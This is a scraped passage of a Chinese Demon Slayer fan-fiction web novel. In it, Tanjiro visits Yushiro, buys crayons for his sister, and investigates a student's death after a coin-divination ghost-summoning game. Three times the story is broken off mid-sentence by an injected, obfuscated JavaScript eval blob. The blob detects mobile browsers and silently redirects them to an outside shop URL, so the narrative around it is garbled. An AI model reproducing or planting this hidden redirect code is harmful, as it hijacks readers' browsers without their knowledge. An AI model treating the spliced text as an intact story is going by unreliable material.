且不说它变成鬼前,就已经很聪明了,成为鬼后,智商都和成年人一般,甚至还要更聪明一些。怎么还可以把它当作普通的小猫来对待! 更别说炭治郎买的这些玩具,实在太幼稚了,瞧那灰不溜秋的样子,怕是连三岁小孩子也不会玩,根本就是浪费钱! “可是茶茶丸很喜欢呀。” 炭治郎一边上发条,一边将仿真鼠放在地上,上了发条的仿真鼠一下就冲了出去。 “喵~” 而茶茶丸也早就蓄势待发地冲了上去。 明明以茶茶丸的灵敏度,应该能一下子追上才对,可此刻的他表现得和一只普通的猫没什么两样,不仅追着老鼠满屋子跑,而且还时不时用爪子扒拉两下。 直到老鼠不动了,他还叼过来了,放在炭治郎面前,用脑袋顶了顶,示意炭治郎继续。 炭治郎拿起老鼠又一次上了发条。 看着茶茶丸追着老鼠的样子,愈史郎忍不住喊道。 “茶茶丸你在干什么!快停下!你现在这样像什么样子!” 这和外面的野猫有什么区别! 可无论愈史郎怎么说,茶茶丸也还是追着那只老鼠跑个不停,直到炭治郎又拿出一根逗猫棒,茶茶丸蹭地一下跑过来。 “看,茶茶丸很喜欢吧。” 炭治郎有节奏地一下又一下摆动着逗猫棒,茶茶丸追着顶端的那根羽毛。 愈史郎看到后眉头快皱成“川”字。 茶茶丸!他的茶茶丸!居然在玩这么幼稚的东西! “别玩了,茶茶丸!”他又一次呵斥道。 但茶茶充耳不闻,眼中只有那根逗猫棒。 “茶茶丸!” 愈史郎都有些生气了。 “喵~” 但茶茶丸只是轻轻叫了一声,爪子不停地挥动着。 眼见着愈史郎都要上手要抱走茶茶丸,茶茶丸赶紧一个灵巧地躲过,来到炭治郎怀中。面对怒气腾腾的愈史郎,炭治郎将手中的逗猫棒塞到对方怀中,一脸赔笑。 “别生气嘛,愈史郎,茶茶丸只是想跟我们一起玩而已。” “很简单的,你像我那样,试着挥舞一下。” 听着炭治郎如同教小孩子般的语气,再配合那动作,愈史郎额角青筋跳动。 当他是三岁小孩吗? 愈史郎扔掉手中的逗猫棒,显然是一点也不想配合。 “喵~”茶茶丸那期待的眼眸,一下暗了几分。 炭治郎轻抚着茶茶丸的脑袋:“那你至少陪茶茶丸出门散步吧。” “茶茶丸说你都快一年没出门过了。” “再这样下去,对身体不好的。” 这些日子茶茶丸都和他说了,愈史郎这些年来,不是把自己埋在画室里画画,就是把自己关在房间里,几乎不和外人接触,也不怎么与人说话。 这怎么可以呢?这样下去人迟早会闷出病来的。 炭治郎想让愈史郎能多活动活动,但却迎来对方鄙夷的眼神。 “你少管我!管好茶茶丸就行了!” 这个炭治郎在想什么!他可是鬼,根本就不需要运动,而且就算外出,也改变不了什么,他只想一个人安静地等待珠世小姐归来。 面对发脾气的愈史郎,炭治郎却是更加锲而不舍:“可我们是朋友啊,我当然会关心你。” 他说得理所当然,愈史郎却仿佛更生气了,语气都拔高了几分。 “谁跟你是朋友啊!你就是个麻烦!麻烦!” 他用手指戳着炭治郎的脑袋,却把自己的手指给戳红了。 “你看看都带了什么回来!” 说着,他手朝旁边一指,随着指尖的方向望去,只见一名七八岁,扎着双马尾的小女孩,正捧着双手一脸兴奋地欣赏着眼前的画作。 “你自己烂好心也就罢了!少把幽灵往我家带!” 这已经是第几次了!这个炭治郎好好带着茶茶丸去散步不好吗?偏偏带着这些麻烦过来,还要帮他们实现心愿! “这次又是什么情况!”他没好气地问道。 炭治郎不好意思地抱紧茶茶丸:“小姑娘太可怜,年纪轻轻溺水了,一直徘徊着不肯走。” “她是你的粉丝,就想看一眼真品,而且茶茶丸也同意了,对吧,茶茶丸。” “喵~” 看着眼前的一人一猫,愈史郎简直气得无语!他正想说些什么,身后被人拉了拉衣角。 “愈史郎老师。” 他低头间,那小女孩正笑容灿烂地看着他。 “老师画得好棒,我转世了也要成为像老师一样的画家。” 愈史郎淡淡道:“努力吧。” “嗯。” 虽然愈史郎的语气很平静,但小女孩还是仿佛受到鼓励一般,笑意加深,熟悉的光芒亮起,已经了无遗憾的她成佛去了。 彻底离开前,屋中回响起她最后一句话。 “在阴间遇到珠世姐姐的话,我会告诉她愈史郎老师真的很想她。” 小女孩不经意的话,却是让愈史郎垂下眼眸,他轻声呢喃着:“笨蛋,你还是去天堂吧。” “人都走了,你还留在这里干什么!” 然而这份柔软还没有维持多久,愈史郎又用冰冷的表面,将自己包裹起来,呵斥着炭治郎离开。 炭治郎见时间不早了,确实要离开了。 他将茶茶丸还给对方,并收拾掉地上的玩具。 “对了,明天开始我能请假几天吗?” 离开前,他突然停下脚步说道:“这几天要期末考了,我没时间过来了。” “茶茶丸,你要照顾好愈史郎哦。” 他转过身,微笑着摸了摸茶茶丸的头。 “喵。” 茶茶丸答应了。 愈史郎却是气得发抖:“你是老妈子吗!” “滚回去!” 这个炭治郎转世了还是这么烦人! 炭治郎又一次被赶出门,随着大门重重关上,他只能无奈一笑。愈史郎果然是个好人,虽然总是凶凶巴巴的,但从来没有一次把自己带来的幽灵们赶出家门。 回去的路上,他还拐进一家文具店,因为花子的蜡笔正好用完了。 他把这件事记在心上,准备给妹妹一个惊喜。 走进文具店,找到放蜡笔的地方,他开始犯了难。他手中拿着两款蜡笔,一款有二十四色,可以让花子画更多的颜色。 另一款一样的价格,却只有十二色,但包装上联动了花子最近很喜欢的魔法少女。 他又开始纠结了,总想给家人最好的他,不知道该选哪一款。 “无惨,给我出个主意吧,你觉得哪个更好些。” 面对这种需要选择的问题时,他便开始寻求他人意见。 “这种小事别来问我。”无惨不悦地说道。 一天到晚,只想着什么家人、朋友,这个炭治郎究竟什么时候才能意识到,他现在最应该做的就是继承自己的力量! “这怎么能是小事呢!” “花子收到喜欢的东西,会很高兴的。” “如果是无惨你的话,也会想要弟弟妹妹高兴吧。”炭治郎边纠结该选哪款蜡笔,边劝说道,希望无惨还是有些人性的。 但结果令他失望。 “不会。”无惨几乎是斩钉截铁地说道。 “为什么?你和家人的关系不好吗?” 炭治郎有些好奇,究竟是怎样的家庭,才会养出无惨这样冷血无情的存在。 “关你什么事!灶门炭治郎!这是你该问的吗?你要做的只有继承我的力量,其余的不该问的别问!收起你那该死的好奇心和同理心,我不需要!” 貌似这么一问,让无惨更生气了。 啊咧,看出来了吗? 炭治郎有些不好意思地摸了摸放下那盒二十四支的蜡笔,摸了摸鼻子。 他是打算多了解一下无惨的过去,好从中了解对方,劝他离开自己的。 只是没想到被看穿了。 果然因为相处了太多时间,所以让无惨对他有些了解了吗? 感受着体内满满的怒意,炭治郎拿着那款联名的蜡笔去结账,拎着蜡笔出来时,无惨还在生气。 至于吗?无惨都知道他的家庭情况了,自己却对无惨一无所知。他好歹把身体给无惨借住了这么久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但炭治郎是一点也不听,他哪怕对付不了那黑影,也要知道那东西的去向。 那东西飞得极快,炭治郎拼命地跑着,好在这段时间一直处理灵异事情,不是被追,就是在追,让他体力得到了很好地锻炼,这才没有跟丢。 只是跑到一半时,他突然感觉眼前的景象很熟悉。 这里不是… 他正疑惑着,直到黑烟飘进一扇铁门,他顿时脸色大变。 “不好,那东西怎么飞进这里来了。” “这可麻烦了。” 那黑烟竟然来到炭治郎学校里,并且还进教学楼。虽然不知道那是什么,但是万一让他害到其他人那就不好了。 只是这一次没有钥匙,进入学校就没有那么方便了。 他正想着要不要翻校门,突然发现大门并没有锁。 有人还在学校吗? 那这样的话,里面的人岂不是更危险了! 炭治郎心下暗道不好,赶紧开门进学校。 只是他还没有跑进教学楼里,便见那股黑烟已经离开。 “炭治郎,那东西都走了,别再多管闲事。”无惨几乎是用命令的语气,让炭治郎快回家。 炭治郎目送那黑烟消失,扭头还是走进教学楼里。 “不行。” 在确定里面的人没事后,他才能回去。 跑进教学楼里,他并没有闻到浓烈的血腥味,察觉到这一点,他的神色顿时好了不少。 顺着气息一路寻去,他找到学生会办公室,从门缝里透出几缕光亮。 果然是学生会在加班,期末了,这些学生会成员看起来也很忙。 “炭治郎,你怎么来了?” 他正考虑进门后应该说些什么,身后突然传来忍的声音。 他赶紧缩回手,紧张地将手背在身后,眼睛乱瞟。 “我就来看看,看看。” 虽然他也不算说谎,但是明显慌乱过头了。 忍有些好笑地看着不善说谎的炭治郎,然后靠近几分,压低声音道:“炭治郎,是又有那个了吗?” 炭治郎的神色一下变得严肃起来,他也压低声音道:“现在还不清楚,得进去后才知道。” 忍点了点头,神色也严峻起来,她代替炭治郎将手放在门把上,然后轻轻转动。 炭治郎看着缓缓打开的门,咽了咽口水。 谁也不知道里面发生了什么事,他只希望里面一切平安。 45.第 45 章 随着一道刺眼的光芒闪过,一声尖叫从屋内传来。 “啊啊啊…” “发生什么事了。” 炭治郎快步走了进去,紧张地问道。 然而下一刻,空气寂静,三男两女围着桌子站在一起,一脸疑惑地看着他。 这五人皆是学生会成员,其中刚刚尖叫的双马尾女孩正紧紧地抱着另一名短发女孩的胳膊,而三个男生则是把一叠纸卷成棒状,举过了头顶。 几人见忍回来了,皆是劫后余生的表情,其中一名皮肤黝黑的少年,一个箭步走到忍的面前。 “会长!会长!有蟑螂啊啊啊!” 显然他也很怕蟑螂。 意识到刚刚的尖叫是因为几人看到了蟑螂,炭治郎松了一口气。 “看到他往哪跑了吗?” 几人哆嗦地指向书柜后面,炭治郎走到那里,果然看到一根须须,还在动。他眼疾手快地伸出手,将其一把抓住。 当他把蟑螂抓出来时,几人尖叫声更大了,特别是那位双马尾的女生。 “啊啊啊!快扔了!扔了啊!” 炭治郎将蟑螂带到几人看不到的地方处理掉,回来时忍给他一张湿纸巾。 “擦擦吧。” 她的表情有些复杂,这孩子怎么什么都上手抓,就不害怕吗? 炭治郎接过湿纸巾,注意到其余五人似乎站得离他有些远。 “还有需要帮忙的吗?我什么都可以做的,多一个人帮忙,你们能更早回去。”他主动提出来要帮忙。 “那太好了。”短发女生,指了指地上一堆箱子,那些都是过期的资料。 “麻烦你帮忙,一起把东西搬到仓库。” “好。” 炭治郎边答应,边抱起两个箱子。 其他三个男生也各自抱起一个箱子,炭治郎跟着他们三个一起走在走廊上。 “这么晚了,还在工作,你们真是辛苦了。”炭治郎感慨着学生会的辛苦。 想当初忍学姐也邀请过他,只是他还要帮家里的忙,便拒绝了。 高个子男生微笑道:“是辛苦了点,但跟着会长,我们学到了很多。” 黝黑男生:“是啊,会长很厉害的,什么事都处理得很好!” 精瘦男生:“是的,还能抓蟑螂。” 平常遇到令人害怕的虫子,都是忍帮他们赶走的。 提起蟑螂他们都是一个激灵,看来刚刚的事把他们吓得不轻。 炭治郎颇为同情地看着他们,露出安慰的笑容:“现在没事了。” “对了,除了蟑螂外,你们还看到了什么?” 谈话间,他开始转移话题,想知道这几个人有没有看到那股黑烟。 “没有了,就那一只蟑螂。”黝黑男生还以为炭治郎在问他们有没有看到其他蟑螂。 “除了蟑螂呢?”炭治郎继续追问道。 “比如说奇怪的事。” “奇怪的事?” 三个男生努力回忆着。 高个子男生突然想起什么:“有!我书包里的饼干少了一包!” 黝黑男生鄙夷地看着他:“那是你自己吃掉了吧。” 高个子男生:“都说我只吃了两包,可现在少了三包!” “那就是你自己数错了。” “我真没有。” 两个人在那里争辩高个子男生究竟吃了几包,只有精瘦男生面无表情,但是眼睛却瞟向一旁。并且炭治郎还闻到了他身上和高个子男生一样的饼干味道。 看来已经破案了呢。 炭治郎没有主动说出来,听着三人的谈话,一路走到仓库,和他们一起把箱子放好。他们就这样来回地跑了三次,期间炭治郎多次引导,但从他们的反应来看,确实没什么特别的事情发生。 而且他也观察了一下校园,也没有什么异样。 “辛苦你们了。” 炭治郎等搬完箱子,忍给他们递来水。 “谢谢。”炭治郎接过,并道谢。 “忍学姐,什么发现吗?” 两人一接近,他立刻低声问道。 忍冲他摇了摇头,她也问过两名女生,并没有什么特别的事发生。 炭治郎边喝水边想,难不成那黑烟只是四处散步,恰巧路过吗? “无惨,你们鬼会这样做吗?” 他是听过地缚灵,但还没有听过喜欢四处溜达的鬼。 “别把我和那种不完美的东西归为同类。” 在无惨看来那种只是作为幽灵的鬼,根本不算完美生物。 “也是。”炭治郎点头。 “无惨你刚从地狱爬上来,不知道也正常。” 果然炭治郎很擅长往无惨的心窝上捅刀。 作为地狱的头号重刑犯,无惨根本不敢脱离炭治郎。 没有理会生闷气的无惨,炭治郎环顾四周,在趁着离开前,再确认一遍。 此时两个女生正在收拾着桌上的文件,等她们收拾完,今天的工作就算结束了。双马尾女生还在感慨为什么世界上会有蟑螂这么可怕的生物。 这时炭治郎注意到那夹着的一堆文件中有一张拆叠过的纸,颜色有些奇怪。 “等一下。”炭治郎叫住准备把东西收起来的双马尾女生。 “我可以看一下这个吗?”他指向那张纸。 “可以呀。”双马尾女生将那张纸抽了出来。 “你喜欢的话,就拿去吧,和朋友们一起玩吧。”她笑眯眯地说道。 “谢谢。”炭治郎接过纸,打算回去再仔细看看。 最后一点收尾工作做完,忍走在后面,打算把校门锁了。 “炭治郎,有什么事就联系我。” 锁门时,她有些不放心地说道。既然炭治郎看到什么,那种东西绝不可能什么也不做就离开,作为学生会长,她有保护学生的责任。 炭治郎也答应她,有什么消息一定会及时联系她的。 之后他们就各种回家了,炭治郎回到家,先是将蜡笔交给花子。见哥哥买了自己最喜欢的魔法少女,花子高兴得合不拢嘴。 最近班上的同学,很多都买了这款蜡笔,她一直很想要,没想到哥哥帮她买了。 “谢谢你,炭治郎哥哥。” 她紧紧地拥抱了炭治郎,看着妹妹高兴地脸庞,炭治郎由衷地笑了。 无惨却是在体内,一直臭着一张脸。 与家人们互道晚安后,炭治郎回房间,并把门锁上。 他将那张纸打开。 “这是什么?魔法阵吗?” 看着纸上的内容,炭治郎疑惑道。 只见纸上是最上面一行,中间画着鸟居的形状,左右两边是“是”和“否”两个字,下面一行是0~9的数字,再下面是一些字,但怎么也连不成语句,纸上四周还画了4个五芒星。 “无惨,你认识吗?” 无惨活了那么多年,应该是认识的吧。 无惨:“呵呵,现在的小鬼还真的什么都敢碰。” “这果然是很危险的东西吗?” 虽然无惨没有说这是什么,但是从他的语气来看,这不是能随便乱动的东西。可刚刚的双马尾女生,却说让他和朋友一起玩? 是因为这个,才把那怪东西引过来的吗? 果然明天得问问忍学姐了。 炭治郎把纸收好,打算明天上午考完试,午休时去找忍问问情况。 清晨,或许是因为孩子们要考试了的缘故,葵枝早餐做得比平常丰富了些。 她将孩子们送到门口,微笑着嘱托道:“路上小心。” “嗯。” 炭治郎等人挥手向妈妈告别,一路上他还和祢豆子有说有笑,相互鼓励打气,都希望对方能考好,但当试卷发下来的那一刻,他的笑容消失。 为什么他感觉这次自己能考个及格都是勉强了! 好难啊!真的好难啊!这些题他都不会做! 炭治郎几乎一边神色痛苦,一边尽可能地去解题。 他的表情严肃极了,不知道的人还以为他多会解题,可事实是有一大半,他都是蒙的。他下笔越来越困难,在那里咬着笔头苦思冥想… 就在他苦于考题之时,窗外一道黑影闪了过去。 “啪嗒。” 炭治郎的笔落在地上,那一刻一股不好的感觉涌上心头。 教室里瞬间骚乱起来,监考老师不死川实弥立刻跑到窗边探头张望。 在看到楼下的情况后,他神色一变。 “退后!都退后,都给老子在位置上坐好!一个都不许过来!” 此时实弥都急到开始爆粗口:“香奈乎,看好他们。” 他让作为班长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270812|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香奈乎看管好底下的学生,自己则赶紧跑出教室。 “这是发生什么事了?” “不知道啊。” “好像有什么掉下去了。” 随着实弥一走,教室里开始七嘴八舌起来。人的好奇心是止不住的,尽管实弥不让他们看,但还是有人想跑到窗边查看。 这些人被香奈乎拦住。 “同学们,听不死川老师的话,快回座位上。” “哼,俺才不听呢。” 有些人看在香奈乎的面子上,倒是回了座位,可伊之助就不是那种性格,想知道真相的他,跑去开窗。 “你给我住手!没听到我老哥的怎么说的吗!” 虽然玄弥也很想知道发生了什么,但是他不允许有人不听他哥的话!一个箭步上前,赶紧抓住了伊之助。 “放开俺!” “不放!” “放开!” 伊之助和玄弥在那里拉拉扯扯起来,班上的注意力被他们俩给吸引了过去,只有善逸抱着头,脸色惨白,在座位上吓得瑟瑟发抖。 虽然没有看到,但是他听到,那是骨头撞在坚硬的地面上。 炭治郎将手放在善逸肩上,轻声安慰道:“没事的,善逸,会没事的。” 他也闻到,那浓重的血腥味。 这时铃声响起,炭治郎接起电话,电话那头,传来忍略带疲惫的声音。 “炭治郎,你到楼下来。” “好。” 他神色哀伤地收起手机,果然他刚刚视线的余光中,并没有看错… 当他来到楼下时,已经有一群老师站在那里,见炭治郎过来,实弥还很生气。 “你小子过来干嘛!没听到我让你们都待在座位上吗?” 几个老师聚在一起,挡住了炭治郎的视线,并不想让他看到地上惨状。 义勇也走上前,语气冰冷:“回去。” “老师,是我让炭治郎来的。” 炭治郎还未出声,忍解释道。 “炭治郎或许知道些线索。” 并不是所有老师都知道炭治郎的事,而且这件事是不是跟灵异事件有关,也还没有下定论。 所以她只能这样说。 听到这话义勇终于给炭治郎让了路,实弥虽然脸上还是不高兴,但也没有多说什么。 炭治郎终于看清了眼前的事物。 那是一大摊的血,血泊中躺着一个人,一个双马尾的少女,由于是头朝下垂直下落,所以女孩头骨碎裂,脸上的血已经让人很难分辨出面容,可是炭治郎还是闻出了对方是谁。 正是昨天给他那张奇怪纸的女孩。 昨天晚上,两人还说过话,这个人的声音仿佛还在耳边,今天却成冰冷的尸体。 炭治郎感伤的同时,发现女孩的身上萦绕着一缕奇怪的黑气。 果然昨天的黑烟做了什么! 可恶!如果自己当时多上点心的话,对方或许就不会死了。 女孩的死,让炭治郎陷入自责中。 “不是你错。” 忍看出他的想法。 她知道以炭治郎的性格,肯定把女孩的死归为自己的错,但昨天晚上,谁也没想到会发生这种事。 警察很快赶来,他们带走了尸体,并给众人做笔记。 根据女孩老师的说法,女孩是在考试过程中,突然走到窗外跳下去。 由于她是众目睽睽之下跳下去的。 在此之前,没有人和她说过什么,也没有人推她,所以警方暂时把死因归为因为学习压力大的自杀。 但女孩的朋友并不相信,毕竟女孩早上还说,这次考完之后,父母要带她出国玩。 双马尾女孩那么期待这次的假期,怎么会突然跳楼呢? 只是她们也没有办法解释,为什么双马尾女孩会在考试途中,有那样的举动。 她们不知道,但是炭治郎知道。 杀害女孩,根本不是人。 学生会长办公室内,炭治郎将昨天从女孩手中得到纸,拿出来给忍看。 “忍学姐,你知道这是什么吗?” 他本来就是打算今天问问对方的,但谁曾想还是晚了一步。 “这是银仙游戏!”忍一眼就认出这张纸是什么。 但炭治郎还是有些疑惑:“银仙游戏是什么?” 46.第 46 章 “炭治郎你没有听过吗?银仙游戏。” 忍有些惊讶,像炭治郎这个年纪的孩子,居然不知道银仙游戏,但想想炭治郎从前很少对灵异事件感兴趣,而且还一直帮着家里干活,照顾弟妹,不知道也正常。 于是她解释起来:“银仙游戏简单来说是一种占卜游戏。” “写一张像你手上这样的纸。” “然后准备一枚硬币,两人或多人用手指按住硬币召唤狐仙,每个人问狐仙一个问题,如果狐仙降临的话,硬币便会自己动起来。” 原来如此,难怪死者昨天让他可以和朋友们一起玩。 这个游戏听起来,像是一个人人都可以做的占卜而已,但无惨又说这是个危险的游戏… “那这个游戏有什么禁忌吗?”他追问道。 忍:“确实有,游戏途中,不得松开手指,而且问完问题得把狐仙送走,否则狐仙会降下灾祸。” “看来是昨天的游戏出了问题。” 炭治郎这才意识到昨天自己看到的黑烟,可能是双马尾他们召来的狐仙,因为中途狐仙游戏出了问题,所以遭来了狐仙的报复。 他让忍赶紧召集昨天办公室内剩下的四人,他们之中肯定还有人玩了银仙游戏。 趁着忍问其他人的间隙,炭治郎赶紧打电话给森罗万象,想从他那里问问关于银仙的事。 听到有人玩银仙,森罗万象忍不住扶额。 “怎么还有人玩这么危险的游戏。” “听好了,炭治郎,你知道为什么银仙游戏是个禁忌吗?”森罗万象问道。 炭治郎:“因为狐仙会报复吗?” 森罗万象:“并非,如果是正统狐仙,顶多是像踩香蕉皮,或是拉肚子这样的惩罚。” “银仙游戏是对于会用他的人来说,一种十分简单,高效的占卜方法。而且连小孩子也会用。” “但如果不是我们这种内行人的话,有时他们根本不知道他召来的是什么东西。” 炭治郎听明白了:“所以他们召来的根本不是狐仙,而是鬼吗?” “嗯,普通的灵还算好的,如果是恶灵的话,那就麻烦了。” “有什么办法吗?”炭治郎的语气立刻紧张起来。 “抓住灵体,除掉他即可。” 听起来很简单,但是很难。 炭治郎根本不知道怎么做,而且森罗万象还受伤,听说是在替一位企业家的女儿驱魔时,遇到很厉害的恶灵。 炭治郎本想去探望,但是现在他这边也很棘手。 只能自己再想想办法。 刚挂断电话,忍就回来了。 她的脸色不太好:“另外四个人都参与了游戏。” 并且还带来了一个不好的消息。 昨天那几个人整理好资料,双马尾女孩便提出要不要玩银仙游戏,其他人便跟着一起玩了。 那张纸就是双马尾女孩画的,一开始他们都只当是个游戏而已,只是没想到那硬币真的动了,双马尾女孩还问了这个暑假,父母会不会带她出国玩,得到了“是”的答案,她还很高兴。 “但有一点很奇怪,我本来以为他们是看到蟑螂吓得松了手,但是据他们所说,他们是送走了狐仙的。” 由此,应该不存在触发禁忌的可能性。 “这一点他们应该没有说谎。”炭治郎相信了那些人。 他是看到那缕黑烟离开的,所以仪式是成功的。 只是谁也不知道,他们究竟召唤了什么。 具体的还要等放学时,再问问那些人。 学校出了命案,虽然老师们都很快控制了情况,警方也已经将尸体带走,但这种事根本瞒不住。当炭治郎重新回到教室时,班上的同学都已经知道了这件事。 伊之助一马当先地跑到他的面前:“权八郎是鬼杀了那个人对吗?” “俺当时感觉到有坏东西进来了!” 他的直觉还是那么敏锐。 只是其他不明白内情的人,只当伊之助中二病又犯了。 “炭治郎死的是谁啊?” “他为什么要跳楼?” 他们更多关心的是死者究竟是谁? 面对追问炭治郎有些不知道怎么回答,一直之间陷入为难,这时一声怒吼传来。 “吵吵闹闹的像什么话!” 处理好一切的实弥回来了。 “回座位把试卷收上来,本次考试作废,考试延到明天重考。” 听到这个消息,全场顿时哀声一片,对于学生来说,没有什么比重考更痛苦了。然而对于实弥来说,他也很痛苦,因为他还要熬夜出试卷。 想来明天他眼中的红血丝又要多出几道来了。 整理完东西,炭治郎立刻就要去找忍,但是还没有跑两步,便被伊之助拉住。 “圆五郎,俺也要去!” 他知道这次的事,就是鬼干的!所以他也要去。 “伊之助,不行,这次不一样。” 炭治郎不想把朋友给卷进来,但奈何伊之助实在是力气太大了,又很固执,怎么也不肯松手。就算炭治郎将他甩开了,也很快追上来。 最后忍见到了和炭治郎一起来的伊之助。 听到炭治郎的解释,忍倒是不在意,毕竟伊之助的直觉真的很灵,或许会有帮助。 当炭治郎再次见到昨晚几人时,他们神色比昨天疲惫了不少,特别是短发女生,她的眼睛红红的。见到忍回来,她立刻站起身。 “会长,美里她不是因为银仙游戏死的吧,不是吧?” 虽然她在极力地否认死者的死因,但是那焦急的语气,反而更加证明众人心底的怀疑。 随着她的话,三个男人脸上皆露出惊恐的神色。 他们都还只是高中生而已,只是把银仙游戏,当作普通的游戏而已。他们甚至怀疑昨天硬币的移动,可能是谁在暗中操作。 直到美里的死亡… 忍和炭治郎不知道怎么回答这个问题,伊之助却是大大方方地说道。 “没错,有坏的东西进来了。” 听闻短发女生立刻环抱住自己,向后走了几步坐下:“别乱说,怎么可能是鬼。” “是啊,那只是一个游戏而已。”高个子男生也立刻大声反驳道。 “哼!那是你们见识少!俺就遇到过,俺还驱过鬼呢!”伊之助叉起脸,一脸骄傲地说道。 听到他这么说,四人眼前一亮。 清瘦男生声音满是惊喜:“真的吗?你会驱鬼!” “那当然!”伊之助胸膛挺得更高了。 黝黑男生激动地走上前:“救救我,你一定要救救我,我就说昨天那硬币是自己动的!” 伊之助拍拍胸口:“嗯,就交给本大王吧,无论是什么东西俺都…” 他正打包票一定会救下众人时,却被炭治郎止住话题。 “伊之助,别冲动,这次我们连是什么东西都不知道呢。” 这几个人自然是要救的,但也不能贸然冲动,得先了解情况。 他看向那清瘦男生:“听忍学姐说你和死者是同一个班的,能告诉我究竟发生了什么事吗?” 被点名的清瘦男生神色一愣,随即眉头皱起,眼底闪过一抹惊恐,他握了握拳:“其实仔细想想,美里今天早上就不对劲了。” 虽然今天要考试,但他的成绩一向不错,之前又有好好复习过,所以他并没有那么紧张,甚至还有和同学谈论起游戏来。 “《星战》我也在玩,虽然剧情不好,但他的操作…” 他说着说着,突然声音哑了下来,那一刻他感觉到一股阴冷之气,让他毛骨悚然,回头之时看到美里惨白一张脸经过。 他怎么也没办法想像,昨天晚上还活力满满的美里,怎么就经过一晚上的时间,就像是三天三夜没睡觉一般。 整个人不仅死气沉沉的,不仅无精打采,而且脸色泛白,黑眼圈极重。 “美里。”他下意识地叫了一声对方。 美里却没有理他,继续像个丧尸一般向前走着。 “美里。” 他又叫了一声,对方还是不理他,直到他走上前拍了一下对方。 那冰冷的触感,简直就像是在摸冰块。 “怎么了?” 就在他震惊人的体温怎么会冰成这样,美里终于停下,缓缓扭头,神色呆呆地看着他问道。 她的声音也很虚弱,而且还带着沙哑感。 “你生病了吗?要不要请假回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270813|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去?” 那时的他天真地以为美里只是病了而已,还希望对方能回去休息。 美里摇了摇头,然后走向自己的座位坐下。 “天呐,美里你的脸色好差,真的不需要休息吗?” “是啊,还是请个假吧,只是一场期末考而已。” 美里异样的神色自然引起她朋友们的关注,她来都来劝美里。 “我没事。” “没关系的。” 但美里只是重复着这几句话,见她坚持要留下来考试,众人也并没有继续劝下去,随着铃声响起,各自回了座位。很快老师进来,发下试卷,学生们埋头考试,教室里一片安静,没有人再说多一个字,只专心于眼前的卷子。 清瘦男生也不例外。 直到老师的声音响起。 “喂!山本你在干什么!” “你想作弊吗?” 在老师的大喊下,众人这才发现美里不知道什么时候站了起来,也不说话,突然跑到窗户边。 那扇窗户本就是打开着的,所有人甚至都不知道那是什么时候开的,只知道美里在众目睽睽之下,以一种极为快的速度冲刺过去,然后就没有然后了… 她没有丝毫犹豫地从窗外跳了下去… 教室里是此起彼伏尖叫,只有清瘦男生站在那里,震愣地看着这一幕,脑子突然有一根弦崩断了… 随着清瘦男生的讲述,明明是大夏天,屋内的温度却好像冷了几分,好几个人浑身鸡皮疙瘩都起来。 这种事,听起来像是恐怖片里会发生的,但却偏偏发生在他们身边。 “这么说来,那鬼当时不是就这样离开,他或许是单独去找美里了。” “你这话是什么意思?你看到了什么?” 正紧张地咬着大拇指的高个子男生,听到炭治郎的话像是明白了什么,激动地拽起炭治郎的领口,只是他还没有拽上一秒,就被伊之助推了出去。 伊之助生气地指着他:“喂,想欺负俺小弟,先过俺这关!” 哼,自己还好心想帮他们杀鬼呢!居然还欺负炭八郎! 高个子男生被这么一推,踉跄着一屁股坐在地上。 “你推我!你敢推我!” 原来看上去十分温和的少年,一下变得暴躁起来,怒吼着从地上站起,握紧拳头就朝着伊之助挥去。 伊之助见状丝毫不怕,甚至还撸起袖子,已经准备好打架了。 “伊之助,等一下,冷静点。” 炭治郎赶紧从背后抱住他,以防他打人,而忍也是闪现到那高个子男生面前。 “停了,给我停手!” 忍作为学生会长的威慑力,这当头一呵,让高个子男生一下清醒过来,放下了拳头。 本来美里的死就让这几个青春期的孩子乱了心神,特别是当知道美里死得那么诡异,还有可能和昨天玩的银仙游戏有关,更是让他们压力山大。 内心的焦躁,让他们做出一些不理智的事。 这些炭治郎都能理解。 “你们究竟遇到了什么,我们暂时还不知道,但是请相信我们一定会帮助你们的。”炭治郎走上前,安抚着眼前的四人。 虽然说这话的是和他们同龄的少年,但是不知为何,眼前的人却让他们倍感安全。 也因此,几人终于冷静了些,脸色也没有那么难看。 只是这样并不能解决问题,短发女生有些哽咽道:“那我们该怎么办。” “大家尽可能地待在一起,不要单独行动。” “一旦发现有人行为异样,一定要阻止。” 炭治郎想那鬼大概率还是会回来杀人的,所以在解决掉那鬼之前,绝不能让这四人独自行动。至于那鬼的下落,他打算去案发地看看,还有没有什么线索。 “忍学姐,他们就拜托你了。”炭治郎转头对忍说道。 “放心吧。”忍也不会让自己同僚出事的。 “我们走,伊之助!” “哦!终于又要抓鬼了吗?” 伊之助很高兴,天不怕地不怕的他,对于抓鬼格外情有独钟。甚至跑向比炭治郎还快,一个箭步就冲了出去。 “等一下,伊之助,你都还不知道美里的班级。” 47.第 47 章 炭治郎自己还能凭借气味找到美里的教室,可伊之助怎么找呢? 但是很快,炭治郎就发现自己想多了。 伊之助不仅没有乱走,而且还真的就一头闯进了美里的教室。 “猪突猛进!猪突猛进!” 